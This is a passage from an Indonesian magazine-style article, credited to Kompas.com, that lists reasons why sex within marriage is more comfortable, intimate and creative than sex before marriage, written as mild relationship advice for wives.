2). Anda sudah mengenali betul "anatomi" pasangan. Ketika melakukan hubungan seks di luar pernikahan, bisa jadi sebagian orang merasa was-was dan tergesa-gesa melakukannya sehingga tidak ada waktu untuk mengeksplorasi tubuh pasangan. Berbeda bila Anda menunggu hingga waktu yang tepat. Setelah menikah, Anda punya lebih banyak waktu untuk bersama. Anda juga lebih banyak berkomunikasi mengenai apa yang Anda berdua nikmati. Pengetahuan mengenai hal ini akan sangat memengaruhi pengalaman seks Anda berdua.
3). Nyaman. Ketika sudah menikah, Anda pasti sudah enggak jaim lagi ke suami. Anda sudah tidak ragu bertelanjang di hadapan suami, bisa tertawa bila ada sesuatu yang konyol terjadi saat berhubungan intim, dan bebas bertanya mengenai kekurangan atau kelebihan di tubuh masing-masing.
4). Mengeksplorasi posisi. Saat Anda belum mengenal pasangan dengan baik, kadang-kadang seks masih terasa kaku. Bisa jadi dia hanya mengutamakan kesenangannya sendiri, tanpa peduli Anda merasa nyaman dan senang atau tidak. Jikapun Anda merasakan pengalaman yang meluap-luap, biasanya tidak terlalu terasa emosional. Dengan hubungan yang sudah legal, Anda bebas mengeksplorasi gaya dan fantasi seks Anda berdua.
5).Keintiman. Seintim apa sih hubungan Anda saat belum menikah? Tentu hubungan itu tidak seintim ketika Anda sudah menikahinya dan mengenal baik-buruknya, baik "luar" maupun "dalam". Kedekatan dan kenyamanan yang Anda rasakan itulah yang menimbulkan keintiman. Keintiman ini pulalah yang menjadi bagian terindah dari seks setelah menikah.
6). Kreativitas. Rasa bosan menjalani hubungan seks yang rutin bisa memicu Anda dan pasangan untuk mencoba hal-hal baru. Anda bisa mencoba bercinta dengan jendela kamar terbuka (anggap saja outdoor sex), melakukannya pada pagi hari, di ruang tamu, atau di ruang tengah. Bagaimana bila anak-anak sudah mulai hadir dalam kehidupan Anda? Anda bisa mencoba bercinta di lantai dua rumah Anda saat si kecil sedang bermain di bawah. Wow... mendebarkan bukan?
7). Tak perlu sembunyi-sembunyi. Saat Anda sudah bersama suami selama bertahun-tahun (termasuk masa pacaran), Anda bisa lebih bebas membicarakannya dengan teman dekat Anda. Bukan berarti Anda harus mengungkapkan semua detail dari kehidupan seks Anda, tetapi bisa bertukar informasi mengenai problem yang Anda hadapi. Ingin mencari film "panas" untuk dinikmati berdua? Anda juga tak perlu sembunyi-sembunyi lagi. (*)
Editor : iwan
Sumber : Kompas.com
Langganan:
Postingan (Atom)